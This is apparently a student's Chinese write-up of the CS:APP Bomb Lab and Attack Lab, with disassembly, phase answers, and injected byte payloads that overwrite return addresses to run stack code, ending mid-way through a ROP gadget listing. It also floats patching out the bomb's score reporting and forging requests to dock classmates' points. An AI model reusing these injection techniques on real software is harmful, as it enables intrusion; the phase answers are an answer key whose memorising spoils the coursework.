Lab1: BombLab

bomb文件自带联网校验,启动时必须联网,否则会报错退出。这是为了在触发爆炸时通知服务器给同学扣分。

由于bomb文件不校验自身完整性,我们可以打一个patch,把通知服务器的片段换成nop。

(有一个邪恶的想法:是不是可以自己构造POST请求去扣其他同学的分?)

objdump -d bomb //反汇编包含指令的段
objdump -s -j .rodata bomb //输出只读数据
objdump -t bomb //输出符号表
objdump -s -j .data //输出可写数据

Phase1

0000000000001419 <phase_1>:
    1419:	48 83 ec 08          	sub    $0x8,%rsp
    141d:	48 8d 35 2c 1d 00 00 	lea    0x1d2c(%rip),%rsi        # 3150 <_IO_stdin_used+0x150>
    1424:	e8 60 04 00 00       	call   1889 <strings_not_equal>
    1429:	85 c0                	test   %eax,%eax
    142b:	75 05                	jne    1432 <phase_1+0x19>
    142d:	48 83 c4 08          	add    $0x8,%rsp
    1431:	c3                   	ret
    1432:	e8 e6 05 00 00       	call   1a1d <explode_bomb>
    1437:	eb f4                	jmp    142d <phase_1+0x14>

简单易懂。请注意,rip永远指向下一条指令。

直接去rodata读字符串,读到00为止。

 3150 4920616d 206a7573 74206120 72656e65  I am just a rene
 3160 67616465 20686f63 6b657920 6d6f6d2e  gade hockey mom.
 3170 00000000 00000000 576f7721 20596f75  ........Wow! You

Phase2

0000000000001439 <phase_2>:
    1439:	55                   	push   %rbp
    143a:	53                   	push   %rbx
    143b:	48 83 ec 28          	sub    $0x28,%rsp
    143f:	48 89 e6             	mov    %rsp,%rsi
    1442:	e8 12 06 00 00       	call   1a59 <read_six_numbers>
    1447:	83 3c 24 01          	cmpl   $0x1,(%rsp)
    144b:	75 0a                	jne    1457 <phase_2+0x1e>
    144d:	48 89 e3             	mov    %rsp,%rbx
    1450:	48 8d 6c 24 14       	lea    0x14(%rsp),%rbp
    1455:	eb 10                	jmp    1467 <phase_2+0x2e>
    1457:	e8 c1 05 00 00       	call   1a1d <explode_bomb>
    145c:	eb ef                	jmp    144d <phase_2+0x14>
    145e:	48 83 c3 04          	add    $0x4,%rbx
    1462:	48 39 eb             	cmp    %rbp,%rbx
    1465:	74 10                	je     1477 <phase_2+0x3e>
    1467:	8b 03                	mov    (%rbx),%eax
    1469:	01 c0                	add    %eax,%eax
    146b:	39 43 04             	cmp    %eax,0x4(%rbx)
    146e:	74 ee                	je     145e <phase_2+0x25>
    1470:	e8 a8 05 00 00       	call   1a1d <explode_bomb>
    1475:	eb e7                	jmp    145e <phase_2+0x25>
    1477:	48 83 c4 28          	add    $0x28,%rsp
    147b:	5b                   	pop    %rbx
    147c:	5d                   	pop    %rbp
    147d:	c3                   	ret
0000000000001a59 <read_six_numbers>:
    1a59:	48 83 ec 08          	sub    $0x8,%rsp
    1a5d:	48 89 f2             	mov    %rsi,%rdx
    1a60:	48 8d 4e 04          	lea    0x4(%rsi),%rcx
    1a64:	48 8d 46 14          	lea    0x14(%rsi),%rax
    1a68:	50                   	push   %rax
    1a69:	48 8d 46 10          	lea    0x10(%rsi),%rax
    1a6d:	50                   	push   %rax
    1a6e:	4c 8d 4e 0c          	lea    0xc(%rsi),%r9
    1a72:	4c 8d 46 08          	lea    0x8(%rsi),%r8
    1a76:	48 8d 35 f2 18 00 00 	lea    0x18f2(%rip),%rsi        # 336f <array.0+0x19f>
    1a7d:	b8 00 00 00 00       	mov    $0x0,%eax
    1a82:	e8 b9 f6 ff ff       	call   1140 <__isoc99_sscanf@plt>
    1a87:	48 83 c4 10          	add    $0x10,%rsp
    1a8b:	83 f8 05             	cmp    $0x5,%eax
    1a8e:	7e 05                	jle    1a95 <read_six_numbers+0x3c>
    1a90:	48 83 c4 08          	add    $0x8,%rsp
    1a94:	c3                   	ret
    1a95:	e8 83 ff ff ff       	call   1a1d <explode_bomb>
 3360 20686173 20626c6f 776e2075 702e0025   has blown up..%
 3370 64202564 20256420 25642025 64202564  d %d %d %d %d %d
 3380 00457272 6f723a20 5072656d 61747572  .Error: Prematur

首先研究read_six_numbers。在1a76处,%rsi被赋值336f。阅读rodata,即可发现格式化字符串是%d %d %d %d % %d。因此 该函数期望得到六个十进制数字。

%rdx被赋值%rsp,%rcx被赋值4(%rsp),以次类推。最后两个参数放在栈上。

由此可知,read_six_numbers函数读入六个数字,依次放在(%rsi),4(%rsi),…,0x14(%rsi)。

接下来我们将其视为一个数组 int arr[6]。

由1447处,arr[0]必须是1。

1467处,2*arr[i] = arr[i + 1],i从0取到4。

故本题答案是1 2 4 8 16 32。

Phase3

考察跳表的应用。题目比较恶心。

000000000000147e <phase_3>:
    147e:	48 83 ec 18          	sub    $0x18,%rsp //分配24字节的空间
    1482:	48 8d 4c 24 08       	lea    0x8(%rsp),%rcx //往上数8个字节 地址放进rcx scanf的第四个参数 解析的第二个整数
    1487:	48 8d 54 24 0c       	lea    0xc(%rsp),%rdx //往上数12个字节,地址放进rdx scanf的第三个参数 解析的第一个整数
    148c:	48 8d 35 e8 1e 00 00 	lea    0x1ee8(%rip),%rsi        # 337b <array.0+0x1ab> //存一个rodata的地址进rsi,也就是%d %d
    1493:	b8 00 00 00 00       	mov    $0x0,%eax //rax清空
    1498:	e8 a3 fc ff ff       	call   1140 <__isoc99_sscanf@plt>
    149d:	83 f8 01             	cmp    $0x1,%eax //检查sscanf执行结果
    14a0:	7e 1b                	jle    14bd <phase_3+0x3f> //执行结果异常就爆炸
    14a2:	83 7c 24 0c 07       	cmpl   $0x7,0xc(%rsp) //比较7和往上12字节处的数字,也就是解析的第一个整数
    14a7:	77 55                	ja     14fe <phase_3+0x80> //num1大于7(无符号比较)则爆炸
    14a9:	8b 44 24 0c          	mov    0xc(%rsp),%eax //num1移入rax
    14ad:	48 8d 15 fc 1c 00 00 	lea    0x1cfc(%rip),%rdx        # 31b0 <_IO_stdin_used+0x1b0> //在rodata 跳表的开头
    14b4:	48 63 04 82          	movslq (%rdx,%rax,4),%rax //四位有符号数转8位 从跳表中拿出偏移量
    14b8:	48 01 d0             	add    %rdx,%rax //基地址加上偏移量
    14bb:	ff e0                	jmp    *%rax //若num1 = 2 跳到14d4
    14bd:	e8 5b 05 00 00       	call   1a1d <explode_bomb>
    14c2:	eb de                	jmp    14a2 <phase_3+0x24>
    14c4:	b8 a6 03 00 00       	mov    $0x3a6,%eax
    14c9:	39 44 24 08          	cmp    %eax,0x8(%rsp) //把0x112和num2比较
    14cd:	75 42                	jne    1511 <phase_3+0x93> //不相等就爆炸
    14cf:	48 83 c4 18          	add    $0x18,%rsp //把栈退回去
    14d3:	c3                   	ret //结束
    14d4:	b8 12 01 00 00       	mov    $0x112,%eax //0x112移进rax
    14d9:	eb ee                	jmp    14c9 <phase_3+0x4b>
    14db:	b8 71 00 00 00       	mov    $0x71,%eax
    14e0:	eb e7                	jmp    14c9 <phase_3+0x4b>
    14e2:	b8 1f 01 00 00       	mov    $0x11f,%eax
    14e7:	eb e0                	jmp    14c9 <phase_3+0x4b>
    14e9:	b8 7f 01 00 00       	mov    $0x17f,%eax
    14ee:	eb d9                	jmp    14c9 <phase_3+0x4b>
    14f0:	b8 9e 02 00 00       	mov    $0x29e,%eax
    14f5:	eb d2                	jmp    14c9 <phase_3+0x4b>
    14f7:	b8 f5 02 00 00       	mov    $0x2f5,%eax
    14fc:	eb cb                	jmp    14c9 <phase_3+0x4b>
    14fe:	e8 1a 05 00 00       	call   1a1d <explode_bomb>
    1503:	b8 00 00 00 00       	mov    $0x0,%eax
    1508:	eb bf                	jmp    14c9 <phase_3+0x4b>
    150a:	b8 cb 01 00 00       	mov    $0x1cb,%eax
    150f:	eb b8                	jmp    14c9 <phase_3+0x4b>
    1511:	e8 07 05 00 00       	call   1a1d <explode_bomb>
    1516:	eb b7                	jmp    14cf <phase_3+0x51>

16进制加减法属实是有点恶心了,看跳表上的数更是恶心。答案是2 274。

Phase4

0000000000001555 <phase_4>:
    1555:	48 83 ec 18          	sub    $0x18,%rsp //24字节栈帧
    1559:	48 8d 4c 24 08       	lea    0x8(%rsp),%rcx //第四个参数指向向上8字节
    155e:	48 8d 54 24 0c       	lea    0xc(%rsp),%rdx //第三个参数指向向上12字节
    1563:	48 8d 35 11 1e 00 00 	lea    0x1e11(%rip),%rsi        # 337b <array.0+0x1ab> //%d %d
    156a:	b8 00 00 00 00       	mov    $0x0,%eax //rax清空
    156f:	e8 cc fb ff ff       	call   1140 <__isoc99_sscanf@plt> //读进来两个整数
    1574:	83 f8 02             	cmp    $0x2,%eax //比较读进来的数字数量和2
    1577:	75 07                	jne    1580 <phase_4+0x2b> //跳到1580 爆炸
    1579:	83 7c 24 0c 0e       	cmpl   $0xe,0xc(%rsp) //比较num1和15
    157e:	76 05                	jbe    1585 <phase_4+0x30> 无符号比较 如果num1小于等于15 跳到1585
    1580:	e8 98 04 00 00       	call   1a1d <explode_bomb>
    1585:	ba 0e 00 00 00       	mov    $0xe,%edx //第三个参数rdx=14
    158a:	be 00 00 00 00       	mov    $0x0,%esi //第二个参数rsi清空
    158f:	8b 7c 24 0c          	mov    0xc(%rsp),%edi //第一个参数rdi放num1的值
    1593:	e8 80 ff ff ff       	call   1518 <func4>//跳func4
    1598:	83 f8 02             	cmp    $0x2,%eax //比较输出和2
    159b:	75 07                	jne    15a4 <phase_4+0x4f> //跳到15a4 爆炸
    159d:	83 7c 24 08 02       	cmpl   $0x2,0x8(%rsp) //比较num2和2
    15a2:	74 05                	je     15a9 <phase_4+0x54> //相等就跳到15a9 否则爆炸 相当于num2必须是2
    15a4:	e8 74 04 00 00       	call   1a1d <explode_bomb>
    15a9:	48 83 c4 18          	add    $0x18,%rsp //释放栈
    15ad:	c3                   	ret //结束
0000000000001518 <func4>:
    1518:	48 83 ec 08          	sub    $0x8,%rsp //8字节栈帧
    151c:	89 d0                	mov    %edx,%eax //rax=14 查找范围上界
    151e:	29 f0                	sub    %esi,%eax //rax=14 减掉下界
    1520:	89 c1                	mov    %eax,%ecx //rcx=14
    1522:	c1 e9 1f             	shr    $0x1f,%ecx //逻辑右移31位 补0 相当于拿到符号位
    1525:	01 c1                	add    %eax,%ecx 
    1527:	d1 f9                	sar    $1,%ecx //逻辑左移1位 补0 综合来看就是取中位
    1529:	01 f1                	add    %esi,%ecx //中位作为偏移量,加上下界
    152b:	39 f9                	cmp    %edi,%ecx //和num1比较
    152d:	7f 0c                	jg     153b <func4+0x23> //有符号比较 若rcx大于num1,跳到153b
    152f:	b8 00 00 00 00       	mov    $0x0,%eax //rax清零
    1534:	7c 11                	jl     1547 <func4+0x2f> //若rcx小于num1,跳到1547
    1536:	48 83 c4 08          	add    $0x8,%rsp //恢复栈帧
    153a:	c3                   	ret //结束 
    153b:	8d 51 ff             	lea    -0x1(%rcx),%edx //把中位-1作为新的上界,放入第三个参数
    153e:	e8 d5 ff ff ff       	call   1518 <func4> //递归
    1543:	01 c0                	add    %eax,%eax //把结果乘二
    1545:	eb ef                	jmp    1536 <func4+0x1e> //跳到1536 相当于结束
    1547:	8d 71 01             	lea    0x1(%rcx),%esi //中位+1作为新的下界,放入第二个参数
    154a:	e8 c9 ff ff ff       	call   1518 <func4>
    154f:	8d 44 00 01          	lea    0x1(%rax,%rax,1),%eax //结果乘二加1
    1553:	eb e1                	jmp    1536 <func4+0x1e> //跳到1536 相当于结束

核心逻辑在func4中。我们不妨用C++来实现func4的逻辑:

int func4(int target, int low, int high){
    int mid = low + (high - low) / 2;
    if (mid > target){
        res = func4(target, mid + 1, high);
        return 2 * res;
    }
    else if (mid < target){
        res = func4(target, low, mid - 1);
        return 2 * res + 1;
    }
    else return 0;
}
    

num1=5,此时func4的返回值为2;num2=2。

func4里面有对负数的补1操作,这是因为/是向0取整的,但是我们的移位是向下取整的。当然,我们的函数逻辑不可能使得high-low为负数,这个片段的生成来自于编译器的保守策略。

phase5

00000000000015ae <phase_5>:
    15ae:	53                   	push   %rbx //callee-saved register
    15af:	48 83 ec 10          	sub    $0x10,%rsp //16字节栈帧
    15b3:	48 89 fb             	mov    %rdi,%rbx //备份一下rdi rdi存放str2字符串的位置
    15b6:	e8 b1 02 00 00       	call   186c <string_length>
    15bb:	83 f8 06             	cmp    $0x6,%eax //比较输出和6
    15be:	75 45                	jne    1605 <phase_5+0x57> //不相等就爆炸 所以输入长度必须是6
    15c0:	b8 00 00 00 00       	mov    $0x0,%eax //rax清空 rax是索引
    15c5:	48 8d 0d 04 1c 00 00 	lea    0x1c04(%rip),%rcx        # 31d0 <array.0> //把str1地址放进rcx maduiersnfotvbyl
    15cc:	0f b6 14 03          	movzbl (%rbx,%rax,1),%edx //找str2中的字符,放进rdx
    15d0:	83 e2 0f             	and    $0xf,%edx //保留str2中字符的半个字节,高位清零
    15d3:	0f b6 14 11          	movzbl (%rcx,%rdx,1),%edx //取str1里面的字符,放进rdx 注意看这里拿rdx作为索引
    15d7:	88 54 04 09          	mov    %dl,0x9(%rsp,%rax,1) //取rdx里的字符 放到栈里面
    15db:	48 83 c0 01          	add    $0x1,%rax //索引加1
    15df:	48 83 f8 06          	cmp    $0x6,%rax //比较索引和6
    15e3:	75 e7                	jne    15cc <phase_5+0x1e> //如果不相等就继续循环
    15e5:	c6 44 24 0f 00       	movb   $0x0,0xf(%rsp) //在字符串的末尾加上00,表示字符串结束
    15ea:	48 8d 7c 24 09       	lea    0x9(%rsp),%rdi //把字符串首地址放进rdi
    15ef:	48 8d 35 a8 1b 00 00 	lea    0x1ba8(%rip),%rsi        # 319e <_IO_stdin_used+0x19e> //devils
    15f6:	e8 8e 02 00 00       	call   1889 <strings_not_equal> //比较
    15fb:	85 c0                	test   %eax,%eax 
    15fd:	75 0d                	jne    160c <phase_5+0x5e> //不为零就爆炸
    15ff:	48 83 c4 10          	add    $0x10,%rsp //回退栈帧
    1603:	5b                   	pop    %rbx //释放callee-saved register
    1604:	c3                   	ret //结束
    1605:	e8 13 04 00 00       	call   1a1d <explode_bomb>
    160a:	eb b4                	jmp    15c0 <phase_5+0x12>
    160c:	e8 0c 04 00 00       	call   1a1d <explode_bomb>
    1611:	eb ec                	jmp    15ff <phase_5+0x51> //结束

工作流:从输入中抽字符,取最后4bit当作索引,从内存中的字符串中拿东西,拼成devils。

devils分别在字符串的第2 5 c 4 f 7位。我们只需要找到六个字符,使它们的ASCII结尾是这六个字符即可。

我选择25LDOG

Phase6

字面意义上的一坨臭狗屎。考察了链表相关知识。

    0000000000001613 <phase_6>:
        1613:	41 57                	push   %r15
        1615:	41 56                	push   %r14
        1617:	41 55                	push   %r13
        1619:	41 54                	push   %r12
        161b:	55                   	push   %rbp
        161c:	53                   	push   %rbx //callee-saved register
        161d:	48 83 ec 68          	sub    $0x68,%rsp //分配104字节栈帧
        1621:	48 8d 44 24 40       	lea    0x40(%rsp),%rax //往上数64字节,地址进rax,作为数组起始
        1626:	49 89 c7             	mov    %rax,%r15 //存进r15 r15指向数组开头
        1629:	48 89 44 24 08       	mov    %rax,0x8(%rsp) //存进往上8字节处
        162e:	48 89 c6             	mov    %rax,%rsi //第二个参数
        1631:	e8 23 04 00 00       	call   1a59 <read_six_numbers> //把6个数字放在栈上
        1636:	4d 89 fc             	mov    %r15,%r12 //r12指向数组开头
        1639:	41 be 01 00 00 00    	mov    $0x1,%r14d //循环计数器 1
        163f:	4d 89 fd             	mov    %r15,%r13 //r13指向数组开头
        1642:	e9 d1 00 00 00       	jmp    1718 <phase_6+0x105> 
        1647:	e8 d1 03 00 00       	call   1a1d <explode_bomb>
        164c:	41 83 fe 05          	cmp    $0x5,%r14d
        1650:	0f 8e da 00 00 00    	jle    1730 <phase_6+0x11d>
        1656:	48 8b 54 24 08       	mov    0x8(%rsp),%rdx //数组头地址放进rdx
        165b:	48 83 c2 18          	add    $0x18,%rdx //加24,也就是结束地址,放进rdx
        165f:	b9 07 00 00 00       	mov    $0x7,%ecx //rcx=7
        1664:	89 c8                	mov    %ecx,%eax //rax=7
        1666:	41 2b 04 24          	sub    (%r12),%eax //rax=7-对应的数字
        166a:	41 89 04 24          	mov    %eax,(%r12) //用7-数字把原数字覆盖掉
        166e:	49 83 c4 04          	add    $0x4,%r12 //指针加四个字节
        1672:	49 39 d4             	cmp    %rdx,%r12 //指针和结束地址比较
        1675:	75 ed                	jne    1664 <phase_6+0x51> //如果不相等就继续循环
        1677:	be 00 00 00 00       	mov    $0x0,%esi //rsi作为第二循环的计数器被清空
        167c:	8b 4c b4 40          	mov    0x40(%rsp,%rsi,4),%ecx //把第一个数字放进rcx
        1680:	b8 01 00 00 00       	mov    $0x1,%eax //rax=1
        1685:	48 8d 15 84 40 00 00 	lea    0x4084(%rip),%rdx        # 5710 <node1> //加载链表的头节点
        168c:	83 f9 01             	cmp    $0x1,%ecx //比较数字和1
        168f:	7e 0b                	jle    169c <phase_6+0x89> //如果rcx小于等于1 快进到169c
        1691:	48 8b 52 08          	mov    0x8(%rdx),%rdx //rdx更新到next
        1695:	83 c0 01             	add    $0x1,%eax //rax=循环数
        1698:	39 c8                	cmp    %ecx,%eax //对应的数字和循环数进行比较
        169a:	75 f5                	jne    1691 <phase_6+0x7e> //不相等就重新来
        169c:	48 89 54 f4 10       	mov    %rdx,0x10(%rsp,%rsi,8) //把链表的头节点放到栈下界往上16字节的地方
        16a1:	48 83 c6 01          	add    $0x1,%rsi //第二循环计数器加1
        16a5:	48 83 fe 06          	cmp    $0x6,%rsi //比较第二循环计数器和6
        16a9:	75 d1                	jne    167c <phase_6+0x69> //还没到6就继续循环
        16ab:	48 8b 5c 24 10       	mov    0x10(%rsp),%rbx //指针1-rbx
        16b0:	48 8b 44 24 18       	mov    0x18(%rsp),%rax //指针2-rax
        16b5:	48 89 43 08          	mov    %rax,0x8(%rbx) //把指针2写到链表节点1的next
        16b9:	48 8b 54 24 20       	mov    0x20(%rsp),%rdx //指针3-rdx
        16be:	48 89 50 08          	mov    %rdx,0x8(%rax) //把指针3写到链表节点2的next
        16c2:	48 8b 44 24 28       	mov    0x28(%rsp),%rax //指针4-rax
        16c7:	48 89 42 08          	mov    %rax,0x8(%rdx)
        16cb:	48 8b 54 24 30       	mov    0x30(%rsp),%rdx //5
        16d0:	48 89 50 08          	mov    %rdx,0x8(%rax)
        16d4:	48 8b 44 24 38       	mov    0x38(%rsp),%rax //6
        16d9:	48 89 42 08          	mov    %rax,0x8(%rdx)
        16dd:	48 c7 40 08 00 00 00 	movq   $0x0,0x8(%rax) //最后的next是NULL
        16e4:	00 
        16e5:	bd 05 00 00 00       	mov    $0x5,%ebp //rbp=5
        16ea:	eb 52                	jmp    173e <phase_6+0x12b>
        16ec:	48 83 c3 01          	add    $0x1,%rbx
        16f0:	83 fb 05             	cmp    $0x5,%ebx
        16f3:	7f 11                	jg     1706 <phase_6+0xf3>
        16f5:	41 8b 44 9d 00       	mov    0x0(%r13,%rbx,4),%eax //把下一个数字放进rax
        16fa:	39 45 00             	cmp    %eax,0x0(%rbp) //和外层正在研究的数字比较
        16fd:	75 ed                	jne    16ec <phase_6+0xd9> //不相等就把内循环计数器加1;如果内循环计数器等于6就去1706;否则继续这一段循环
        16ff:	e8 19 03 00 00       	call   1a1d <explode_bomb> //相等就爆炸
        1704:	eb e6                	jmp    16ec <phase_6+0xd9>
        1706:	49 83 c7 04          	add    $0x4,%r15 //r15指向下一个数字
        170a:	49 83 c6 01          	add    $0x1,%r14 //外循环计数器加一
        170e:	49 83 fe 07          	cmp    $0x7,%r14 //比较外循环计数器和7
        1712:	0f 84 3e ff ff ff    	je     1656 <phase_6+0x43> //等于7就到1656,不等于7就继续往下走
        1718:	4c 89 fd             	mov    %r15,%rbp //rbp指向外循环研究的数字
        171b:	41 8b 07             	mov    (%r15),%eax //rax存放外循环研究的数字
        171e:	83 e8 01             	sub    $0x1,%eax 
        1721:	83 f8 05             	cmp    $0x5,%eax //和6比较
        1724:	0f 87 1d ff ff ff    	ja     1647 <phase_6+0x34> 大于6就爆炸
        172a:	41 83 fe 05          	cmp    $0x5,%r14d //计数器和5比较
        172e:	7f d6                	jg     1706 <phase_6+0xf3> //大于5(等于6)就跳到1706
        1730:	4c 89 f3             	mov    %r14,%rbx //把计数器放进rbx
        1733:	eb c0                	jmp    16f5 <phase_6+0xe2> //进内层循环
        1735:	48 8b 5b 08          	mov    0x8(%rbx),%rbx //rbx往前推进8字节
        1739:	83 ed 01             	sub    $0x1,%ebp //计数器-1
        173c:	74 11                	je     174f <phase_6+0x13c> //如果计数器=0就去174f,结束
        173e:	48 8b 43 08          	mov    0x8(%rbx),%rax //rax里面放下一个节点
        1742:	8b 00                	mov    (%rax),%eax //把节点的值放进rax
        1744:	39 03                	cmp    %eax,(%rbx) //比较现在的和下一个
        1746:	7d ed                	jge    1735 <phase_6+0x122> //现在的大于等于下一个就到1735
        1748:	e8 d0 02 00 00       	call   1a1d <explode_bomb>
        174d:	eb e6                	jmp    1735 <phase_6+0x122>
        174f:	48 83 c4 68          	add    $0x68,%rsp //结束
        1753:	5b                   	pop    %rbx
        1754:	5d                   	pop    %rbp
        1755:	41 5c                	pop    %r12
        1757:	41 5d                	pop    %r13
        1759:	41 5e                	pop    %r14
        175b:	41 5f                	pop    %r15
        175d:	c3                   	ret

以下是链表。节点结构:四字节整数+四字节编号+下一个节点的地址。

 5710 3c030000 01000000 20570000 00000000  <....... W...... //33c 1 val值以及在新链表中的顺序
 5720 d1020000 02000000 30570000 00000000  ........0W...... //2d1 2
 5730 a0000000 03000000 40570000 00000000  ........@W...... //a0 6
 5740 be000000 04000000 50570000 00000000  ........PW...... //be 4
 5750 cd010000 05000000 00520000 00000000  .........R...... //1cd 3
 5200 b2000000 06000000 00000000 00000000  ................ //b2 5

用C++实现phase6:

void phase_6(){
    int (*arr)[6] = read_six_numbers();
     
        if (arr[i] > 7 || arr[i] < 1) explode_bomb();
        for(int j = i + 1; j < 6; j ++){
            if(arr[i] == arr[j]) explode_bomb();
        }
    }
    for (int i = 0; i < 6; i ++) arr[i] = 7 - arr[i];
    void* arr2[6];
    for (int i = 0; i < 6; i ++){
        arr2[i] = linknode_arr[arr[i]]
    }
    for (int i = 0; i < 5; i ++) arr[i]->next = arr2[i + 1];
    linknode_arr[5]->next = NULL;
    for (int i = 0; i < 5; i ++){
        if (arr2[i]->val < arr2[i]->next->val) explode_bomb()
    }
}

工作流:

  • 第一部分 确保输入的六个数字中,每个数字都是1-6的整数,且两两不相等

  • 第二部分 用7减各个数,用结果覆盖原值

  • 第三部分 用六个数的顺序重组链表的顺序

  • 第四部分 检查新链表是否递减

新链表中,原链表节点的排列顺序为 1 2 5 4 6 3。

故输入的值为 6 5 2 3 1 4。

Lab2: AttackLab

Ctarget

ctarget在编译时去掉了栈随机化,因此可以直接注入硬编码的地址。

栈上的内容可被执行,因此我们可以在栈上注入code。

touch1

任务:让getbuf函数返回到touch1。

首先来看getbuf函数。

0000000000401b5f <getbuf>:
  401b5f:	48 83 ec 18          	sub    $0x18,%rsp
  401b63:	48 89 e7             	mov    %rsp,%rdi
  401b66:	e8 3f 02 00 00       	call   401daa <Gets>
  401b6b:	b8 01 00 00 00       	mov    $0x1,%eax
  401b70:	48 83 c4 18          	add    $0x18,%rsp
  401b74:	c3                   	ret

缓冲区有24个字节。

我们只需要填充24个nop,然后填入touch1的地址。

touch2

任务:让getbuf函数返回到touch2函数并且正确传递参数cookie。

基本思路:先返回到我们注入到栈上的code,把cookie移进%rdi,把touch2地址压栈,ret。

那么如何知道栈上code的地址呢?

gdb ctarget
(gdb) b getbuf //设置断点
(gdb) run //运行程序 可以把输入一起放进去
(gdb) layout asm //显示汇编
(gdb) si //下一条指令
(gdb) ni //跳过一条指令
(gdb) c //走到下一个断点
(gdb) signal SIGKILL //杀杀杀杀杀杀杀
(gdb) p/x $rsp //以16进制格式输出rsp中的值
(gdb) x/s C //查看内存C中存放的字符串
(gdb) x/gx $rsp //以8字节为单位(g),以16进制格式输出rsp指向的内存中的值

使用gdb进行调试,发现getbuf函数的栈顶位置是0x556699f8。

请注意,asm窗口中的光标指向的是下一条指令。因此,当你看到

>0x401b5f <getbuf>   sub $0x18,%rsp

时,%rsp的值还没有被减。

构造注入内容如下:

nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
movl $0x3c1eff45 %edi BF 45 FF 1E 3C
push 0x00401ba3 68 a3 1b 40 00
ret C3
F8 99 66 55 00 00 00 00

还有一种方案: 把touch2的地址放在code地址的上面然后再做一次ret。这种做法会破坏栈的16对齐。

touch3

任务:让getbuf函数返回到touch2函数并且正确传递字符串指针。

先来看看touch3及其调用的hexmatch。

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

注意hexmatch的sprintf(s, “%.8x”, val);行。这一行把整数val变成了8位16进制字符串且不含’0x’。

因此,我们要构造一个8位字符串。将cookie的十六进制各位变成ascii码表示,末尾加上00,按照大端序逻辑排列即可。

33 63 31 65 66 66 34 35 00 //0x3c1eff45

接下来是code的设计。我的第一版设计如下:

33 63 31 65 66 66 34 35 00 //字符串
nop 90
nop 90
nop 90
nop 90
movl $0x556699f8 %edi bf f8 99 66 55
push 0x00401c7a 68 7a 1c 40 00
ret c3
01 9A 66 55 00 00 00 00 //code的地址

程序的输出Misfire: You called touch3("�_hU")

在touch3的入口处,用gdb检查,结果为:p/x $rdi >0x556699f8;x/s $rdi >0x556699f8: “3c1eff45”。符合预期。

在hexmatch的入口,用gdb检查,结果为:p/x $rdi >0x3c1eff45;x/s $rsi > 0x556699f8: “3c1eff45"。依旧符合预期。

查看汇编片段:

  401c64:	e8 f7 f3 ff ff       	call   401060 <strncmp@plt>

使b *0x401c64 命令在比较前设置断点,再次检查,结果为:x/s $rdi >0x556699f8: “\350_hU”;x/s $rsi >0x556699b5: “3c1eff45”。此处我们的字符串显然被破坏了。

进一步分析。在hexmatch的入口,rsp的值为0x55669a08。执行完第一条指push %r12 后,rsp的值变成了0x55669a00。我们的字符串位于0x556699f8,其终止00 恰好在栈顶指针处,终止符被覆盖。再次si,push %rbp 指令被执行。此时x/s $rsi,我们得到了"\350_hU"。

有趣的事情是,“3c1eff45”这个字符串看似被写入了hexmatch栈的随机位置,但是random函数并未被播种。这个位置永远是0x556699b5。

字符串的注入有讲究:注入地址最好是8的整数倍。实测4的整数倍也行。

新的构造如下:

nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
nop 90
movl $0x5566b9f8 %edi bf 18 9a 66 55
push 0x00401c7a 68 7a 1c 40 00
ret c3
f8 99 66 55 00 00 00 00
33 63 31 65 66 66 34 35 00

把字符串放在安全的位置,顺利通关。

Rtarget

rtarget引入了栈随机化,且栈上内容不可执行。我们需要使用garget。

touch2

文件中有一个garget farm片段。我们可以从中挑选需要的garget。farm片段如下:

0000000000401d08 <start_farm>:
  401d08:	b8 01 00 00 00       	mov    $0x1,%eax
  401d0d:	c3                   	ret

0000000000401d0e <addval_375>:
  401d0e:	8d 87 48 89 c7 c7    	lea    -0x383876b8(%rdi),%eax
  401d14:	c3                   	ret

0000000000401d15 <getval_382>:
  401d15:	b8 58 90 90 90       	mov    $0x90909058,%eax
  401d1a:	c3                   	ret

0000000000401d1b <addval_224>:
  401d1b:	8d 87 80 50 0e 50    	lea    0x500e5080(%rdi),%eax
  401d21:	c3                   	ret

0000000000401d22 <setval_174>:
  401d22:	c7 07 3f 58 c3 19    	movl   $0x19c3583f,(%rdi)
  401d28:	c3                   	ret

0000000000401d29 <getval_426>:
  401d29:	b8 48 89 c7 c3       	mov    $0xc3c78948,%eax
  401d2e:	c3                   	ret

0000000000401d2f <addval_400>:
  401d2f:	8d 87 4c 58 92 c3    	lea    -0x3c6da7b4(%rdi),%eax
  401d35:	c3                   	ret

0000000000401d36 <addval_262>:
  401d36:	8d 87 d6 48 89 c7    	lea    -0x3876b72a(%rdi),%eax
  401d3c:	c3                   	ret

0000000000401d3d <getval_440>:
  401d3d:	b8 48 89 c7 94       	mov    $0x94c78948,%eax
  401d42:	c3                   	ret

0000000000401d43 <mid_farm>:
  401d43:	b8 01 00 00 00       	mov    $0x1,%eax
  401d48:	c3                   	ret

0000000000401d49 <add_xy>:
  401d49:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  401d4d:	c3                   	ret

0000000000401d4e <getval_104>:
  401d4e:	b8 89 d6 94 90       	mov    $0x9094d689,%eax
  401d53:	c3                   	ret

0000000000401d54 <setval_289>:
  401d54:	c7 07 89 ca 38 d2    	movl   $0xd238ca89,(%rdi)
  401d5a:	c3                   	ret

0000000000401d5b <addval_155>:
  401d5b:	8d 87 c9 d6 c3 43    	lea    0x43c3d6c9(%rdi),%eax
  401d61:	c3                   	ret

0000000000401d62 <getval_338>:
  401d62:	b8 88 ca c3 28       	mov    $0x28c3ca88,%eax
  401d67:	c3                   	ret

0000000000401d68 <getval_259>:
  401d68:	b8 89 ca 90 c3       	mov    $0xc390ca89,%eax
  401d6d:	c3                   	ret

0000000000401d6e <setval_343>:
  401d6e:	c7 07 81 ca 08 d2    	movl   $0xd208ca81,(%rdi)
  401d74:	c3                   	ret

0000000000401d75 <addval_163>:
  401d75:	8d 87 a9 c1 90 90    	lea    -0x6f6f3e57(%rdi),%eax
  401d7b:	c3                   	ret

0000000000401d7c <getval_484>:
  401d7c:	b8 48 89 e0 91       	mov    $0x91e08948,%eax
  401d81:	c3                   	ret

